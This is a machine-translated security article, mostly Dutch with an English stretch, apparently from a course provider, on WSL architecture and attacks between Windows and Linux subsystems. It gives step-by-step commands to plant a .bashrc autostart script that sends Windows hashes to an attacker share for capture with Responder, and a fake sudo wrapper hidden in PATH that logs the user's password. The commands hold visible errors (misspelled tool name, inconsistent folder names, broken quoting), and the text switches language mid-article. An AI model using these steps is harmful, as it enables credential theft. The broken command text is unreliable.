🥇WSL experimenten. Deel 1

Hallo, Habr! In oktober lanceert OTUS een nieuwe serie van de cursus Veiligheid van Linux. Voor de start van de cursus delen we een artikel met jullie, geschreven door een van onze docenten — Alexander Kolesnikov.

In 2016 introduceerde Microsoft een nieuwe technologie WSL aan de IT-gemeenschap (Windows Subsystem for LLinux), die in de toekomst de tot dan toe onverenigbare concurrenten samenbracht, die streden om populariteit onder zowel gewone als gevorderde gebruikers van de OS: Windows en Linux. Deze technologie bood de mogelijkheid om Linux tools te gebruiken in een Windows omgeving zonder dat het nodig was om Linux op te starten, bijvoorbeeld via dual boot. Op Habr vind je een groot aantal artikelen die de voordelen van het gebruik van WSL beschrijven. Helaas was er op het moment van het schrijven van dit artikel geen onderzoek naar de beveiligheid van deze symbiose van besturingssystemen op deze bron te vinden. Deze post is een poging om dat te corrigeren. In het artikel worden de architectonische kenmerken van WSL 1 en 2 besproken, evenals verschillende voorbeelden van aanvallen op systemen die gebruikmaken van deze technologieën. Het artikel is in 2 delen verdeeld. In het eerste deel worden de belangrijkste theoretische aanvalsmethoden vanuit Linux en Windows gepresenteerd. Het tweede artikel zal de configuratie van een testomgeving en de reproductie van aanvallen omvatten.

WSL 1: architectonische kenmerken

Voor een nauwkeurige voorbereiding op de beveiligingsproblemen van WSL is het noodzakelijk om de belangrijkste nuances met betrekking tot de implementatie van de subsysteem te bepalen. Een van de belangrijkste gebruikersdoelen die WSL oplost, is de mogelijkheid om via de Linux-terminal te werken op een host met het Windows OS. De geboden compatibiliteit was zo native dat Linux uitvoerbare bestanden (ELF) rechtstreeks in het Windows-systeem konden worden uitgevoerd. Om deze doelen te bereiken, werd er in Windows 10 een speciale subsysteem gecreëerd, die het mogelijk maakte om Linux-applicaties uit te voeren via een set specifieke systeemaanroepen — zo werd er geprobeerd een mapping van de Linux syscall-set naar Windows te maken. Fysiek werd dit gerealiseerd door nieuwe stuurprogramma's en een nieuw procesformaat toe te voegen. Visueel zag de architectuur er als volgt uit:

In wezen is de interactie met het Linux-besturingssysteem georganiseerd via verschillende kernmodules en een speciaal type processen — pico. Uit het bovenstaande schema blijkt dat een proces, uitgevoerd in een Linux-instantie op de host, native moet zijn en dezelfde middelen moet gebruiken als gewone Windows-applicaties. Maar hoe kan dat worden bereikt? In het project Drawbridge zijn concepten voor processen onder Windows ontwikkeld, die alle benodigde componenten van het besturingssysteem (afhankelijk van de versie) bieden om een applicatie van een ander besturingssysteem uit te voeren.

Opvallend is dat de voorgestelde abstractie het mogelijk maakte om niet te focussen op het besturingssysteem (specifiek — Windows) waarin wordt verwacht dat een proces van een ander besturingssysteem wordt uitgevoerd, en een algemene aanpak bood.

Hierdoor kon elke applicatie binnen een pico-proces functioneren zonder rekening te houden met de Windows-kernel:

Compatibiliteitsproblemen en vertaling van systeemaanroepen moeten worden opgelost door speciale providers;
Toegangscontrole moet worden uitgevoerd via de Beveiligingsmonitor. De monitor bevindt zich in de kernel, en daarom was een upgrade van Windows noodzakelijk in de vorm van een nieuwe driver, die als provider voor dergelijke processen kan fungeren. Het prototype van het pico-proces is schematisch hieronder weergegeven:

Aangezien het Linux-bestandssysteem hoofdlettergevoelige bestands- en mapnamen gebruikt, zijn er in Windows 2 soorten bestandssystemen toegevoegd voor gebruik met WSL — VolFS en DriveFS. VolFS is een implementatie van het Linux-bestandssysteem, DriveFS is een bestandssysteem dat volgens de regels van Windows werkt, maar de mogelijkheid heeft om de hoofdlettergevoeligheid van namen te kiezen.

WSL 2

WSL 1 had a number of limitations that prevented it from being used to solve a wide range of tasks: for example, it lacked the ability to run 32-bit Linux applications and could not use device drivers. Therefore, in 2020, WSL 2 was released, which changed the approach to building the subsystem. WSL 2 is an optimized virtual machine that matches the resource consumption characteristics of WSL 1. Now, depending on the problems being addressed by the Windows OS user, it is possible to choose the required version of the Linux subsystem. To mitigate potential vulnerabilities, WSL 2 was implemented based on Hyper-V in Windows 10. In this form, Windows can run the Linux operating system kernel in isolation. It’s important to remember that WSL version 1 was introduced as a beta feature that was expected to show the developmental direction of Windows in this area, hence the transition to Hyper-V was inevitable. The final architecture looks like this:

In this version, both the Windows and Linux system kernels have their own resources, and the intersection only exists in the file system, although this intersection cannot be considered complete. Interaction between the file systems is conducted through a client-server wrapper that operates over the 9P protocol.

Currently, Microsoft provides the option to switch between WSL 1 and WSL 2. Both versions are available for use.

WSL Security

At present, there are several works describing certain approaches to using legitimate OS tools to attack the interaction between subsystems. We will use their scenarios to verify the relevance of attacks at the time of writing this article. A general list of attacks and scenarios includes:

1. File system implementation: access rights, presence of shared directories/data exchange mechanisms.

Research was conducted on the violation of access rules from Linux FS->Windows FS, Windows FS->Linux FS.The research demonstrated the possibility of modifying a specified file within the target OS. Attempts were also made to substitute, create duplicates, and delete parts of file systems.

Scenario:

A. Attack from the Windows operating system — modification of files from the /etc directory of the Linux OS.
B. Attack from the Linux operating system — modification of files in the directories: C:Windows, C:Program Files, C:Users

2. Implementatie van de netwerkstack.

De studies werden uitgevoerd met voorbeelden van aanvallen van het Linux-besturingssysteem op Windows. Hierbij werden de eigenschappen van de netwerkstack gebruikt, met name de authenticatiemechanismen voor verschillende bronnen.

Scenario:

Toegang verlenen tot een poort die in Windows bezet is
Een poort openen zonder de benodigde rechten
Reverse shell uitvoeren met behulp van een elf-bestand in het Windows-besturingssysteem.

3. Verbergen van de uitvoering van schadelijke softwareprocessen via de WSL-subsysteem.

De onderzoeken waren gebaseerd op het eenvoudige feit dat beveiligingssubsystemen geen gebeurtenissen kunnen onderscheppen in een andere kernel die gebruik maakt van een legitieme provider vanuit het besturingssysteem in het geval van WSL 1. Voor WSL 2 is het niet mogelijk om de gebeurtenissen te bekijken die plaatsvinden in een afzonderlijke kernel binnen een lichte virtuele machine.

Scenario:

1) Het uitvoeren van een remote access-applicatie en het bekijken van de geregistreerde gebeurtenissen.

WSL 1 experimenten: hash onderschepping (Windows OS)

Eindelijk zijn we aangekomen bij het praktische deel. Eerst moeten we de omgeving voor tests instellen. Alle experimenten zullen worden uitgevoerd op een testbed met Windows 10 2004 geïnstalleerd. Voor het WSL-besturingssysteem is het Ubuntu 18.04-beeld gekozen. Het beeld werd willekeurig geselecteerd en elk ander zou eveneens werken. De commando's voor het instellen van het testbed:

Eerst moet je starten powershell.exe met administratorrechten.

Voor WSL 1 moeten de volgende commando's worden uitgevoerd:

Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #WLS-functie inschakelen
Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Download Linux-beeld vanuit de Microsoft Store

Ubuntu.appx install —root #We zullen het beeld installeren

Mogelijk moet je door het installatieproces klikken en een nieuwe gebruiker aanmaken, die minder rechten heeft dan root. Voor onze tests zal dit een gewone gebruiker 'sam' zijn.

Restart-Computer #Herstarten

Na het herstarten van het testbed kun je het bash-commando aanroepen. Als alles correct is verlopen, zul je ongeveer deze uitvoer in de Windows-console zien:

Als aanvallende machine gebruiken we de Kali Linux-distributie, alle machines moeten zich in hetzelfde lokale netwerk bevinden.

Stel dat we ongeprivilegieerde toegang hebben tot WSL op een Windows-machine. Laten we een aanval op het Linux-besturingssysteem uitvoeren door een commando vanuit Linux aan te roepen. Voor de uitvoering van de aanval maken we gebruik van een eenvoudige autostarttechniek — we voegen ons script toe voor uitvoering in de Linux-omgeving. Hiervoor moeten we het bestand aanpassen .bashrc.

Op de machine met WSL voeren we uit:

	1. bash
	2. Ga naar de thuismap van de gebruiker: cd /home/sam/
	3. echo "home/sam/.attack.sh" >> .bashrc
	4. echo "icalcs.exe \\\\attacker_ip\\shareName\\" > /dev/null 2>&1" >> .attack.sh
	5. chmod u+x .attack.sh
	6. exit

Op de Kali Linux-machine voeren we uit:

1. Responder -I eth0 -rdvw

Op de Windows-machine starten we bash.

We wachten op resultaat op de Kali Linux-machine:

Zo hebben we de Windows-gebruikers hashes verkregen via het WSL-subsysteem door een commando op het Linux-systeem uit te voeren.

WSL 1 experimenten: het verkrijgen van het wachtwoord van de gebruiker (Linux OS)

Laten we nog een experiment uitvoeren. Tijdens deze test zullen we het bestand aanvullen .bashrc met enkele commando's om het wachtwoord van de gebruiker van het Linux-besturingssysteem te verkrijgen.

Laten we bash starten en de commando's invoeren:

1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] wachtwoord voor $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, probeer het opnieuw."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt" >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit

Voor een succesvolle afronding van de aanval is het nodig dat gebruiker Sam sudo aanroept in de Linux-terminal. Daarna zal het wachtwoord van de gebruiker van het Linux-besturingssysteem in het bestand pass.txt:

De uitvoering van aanvallen is alleen ter theoretische kennismaking gegeven.

In het volgende deel van het artikel zal de implementatie van het 9P-protocol worden beschreven, evenals de opzet van een scanner voor dit protocol en een aanval met behulp daarvan.